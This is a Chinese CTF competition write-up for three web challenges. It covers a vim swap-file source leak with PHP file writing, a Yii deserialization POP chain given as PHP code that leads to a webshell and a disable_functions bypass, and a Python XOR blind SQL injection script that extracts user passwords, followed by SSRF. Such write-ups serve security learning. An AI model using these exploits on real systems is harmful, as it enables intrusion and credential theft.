线上赛

find_it

打开题目第一步肯定访问robots.txt,可以看到1ndexx.php -w1058 访问后发现返回500,没有其他思路,猜测存在vim文件泄漏,查看.1ndexx.php.swp可以看到源码 -w1794 查看代码可以看到是一个文件写入的程序,文件内容是可控的,文件后缀也是php,但是存在过滤,我们先写入一个phpinfo看一下 -w1396 搜索下flag没想到直接拿到了.. -w1688

framework

打开题目是一个yii的框架 -w1746 直接下载备份文件www.zip,但是不知道为什么我一直下不下来。修改头部Range才成功下载。 -w1827 直接查看控制器,发现actionAbout存在反序列化漏洞,那直接用公开的yii pop链打就行了 -w1476 找到一个公开的链可以直接用,可能system被过滤了无法直接使用,通过assert绕过

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = 'phpinfo();';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

成功执行phpinfo但是查看了disable_functions存在过滤 -w1800

既然存在过滤,先传一个一句话吧,代码执行通过file_put_contents直接写入shell -w1165 通过蚁剑插件直接绕过disable_functions,拿到flag -w1076

WebsiteManger

拿到题目查看源代码,可以看见image.php?id=2很可疑 -w1386 尝试异或注入,发现^1和^0的结果不一样说明存在注入 -w1268 -w1466 过滤了空格但是ascii、mid、select都没过滤,直接构造payload /image.php?id=2^(ascii(mid((select/**/database())from(1)))>1) database()的第一位 ascii码大于1,语句肯定是成立的所以返回如下图片 -w1521 database()的第一位 ascii码大于1000,语句肯定是不成立的所以返回如下图片 -w1299 根据如上判断直接编写脚本,<>为等于符号,判断只要返回长度大于190467即为正确 -w1511 之后依次构造查表,查字段即可,如下给出exp

import requests
import string,hashlib
url = 'http://'
sss = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,1234567890._'
#sss = string.digits + string.lowercase
a = ''
for i in range(1, 50):
    flag = 0
    for j in sss:
    	#print(j)
    	#payload = '/image.php?id=3^(ascii(mid((select/**/database())from(%s)))<>%s)' % (i, ord(j))
    	#payload = '/image.php?id=3^(ascii(mid((select/**/group_concat(SCHEMA_NAME)/**/from/**/information_schema.schemata)from(%s)))<>%s)' % (i, ord(j))
       	#payload = '/image.php?id=3^(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from(%s)))<>%s)' % (i, ord(j))#images,users

        #payload = '/image.php?id=3^(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7573657273)from(%s)))<>%s)'%(i, ord(j))#username,password
        payload = '/image.php?id=3^(ascii(mid((select/**/group_concat(password)/**/from/**/users)from(%s)))<>%s)#'%(i, ord(j))
        res = requests.get(url+payload).text
    #    print(url+payload)
   #     print(len(res))
        if len(res) > 190467:
            a += j
            flag = 1
            print a
            break
    if flag == 0:
        break
 
print(a)

登陆成功后是一个curl页面存在ssrf,直接通过file:///flag即可 -w1667